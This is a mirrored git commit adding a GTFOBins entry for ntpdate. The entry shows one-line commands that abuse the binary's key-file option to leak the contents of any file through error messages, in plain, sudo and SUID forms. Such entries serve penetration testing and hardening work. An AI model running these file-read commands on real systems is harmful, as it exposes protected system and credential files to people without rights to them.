mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
16
_gtfobins/ntpdate.md
Normal file
16
_gtfobins/ntpdate.md
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file is actually parsed and lines are leaked through error messages.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
ntpdate -a x -k $LFILE -d localhost
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo ntpdate -a x -k $LFILE -d localhost
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./ntpdate -a x -k $LFILE -d localhost
|
||||||
|
---
|
Reference in New Issue
Block a user